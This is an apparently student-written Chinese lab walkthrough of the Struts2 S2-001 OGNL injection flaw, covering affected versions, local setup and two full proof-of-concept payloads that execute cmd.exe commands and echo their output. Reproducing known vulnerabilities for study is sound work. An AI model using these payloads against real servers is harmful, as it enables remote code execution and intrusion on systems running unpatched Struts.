Struts-S2-001
此文僅供大家交流學習,嚴禁非法使用
一、參考網址:
https://github.com/phith0n/vulhub/tree/master/struts2/s2-001
二、 影響版本:
Struts 2.0.0 - Struts 2.0.8
三、 漏洞介紹:
該漏洞因為用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行
四、 環境搭建:
仿照一下搭建showcase的方式,搭建struts2-blank-2.0.1
- 下載/struts/2.0.1
下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
如果下載失敗,可以把這個網址粘到百度云使用離線下載
下載安裝xampp
部署showcase
解壓
- 復制到.
- 重啟tomcat
- 已成功自動部署
如果想要搭建linux環境,建議大家使用參考網址搭建docker環境
注:Linux的命令三個字符串為:"/bin/bash","-c", "ls",docker環境內部初始狀態不能執行ifconfig等一些命令,大家可以先進環境測試一下
五、 POC:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
六、 測試網址:
http://127.0.0.1:8080/struts2-blank-2.0.1/example/Login.action
將POC粘到一個輸入框,點擊Submit,此后會將數據提交到后端,后端檢測值是否為空,然后返回,滿足漏洞前提
執行結果:
執行ipconfig命令時還是出現只能輸出第一行,老問題,因為寫的時候沒有安裝漏洞的順序寫,解決方法在后面有提及,簡單來說就是修改e大小,重復#d.read(#e), #f.getWriter().println(new java.lang.String(#e))
七、 修改后POC
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)), #d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#d.read(#e),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
八、執行結果
九、 至此,該漏洞基本利用完畢
本人還是一個未畢業的小萌新,希望大家多多幫助,有問題請發送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家
堅決做一名白帽子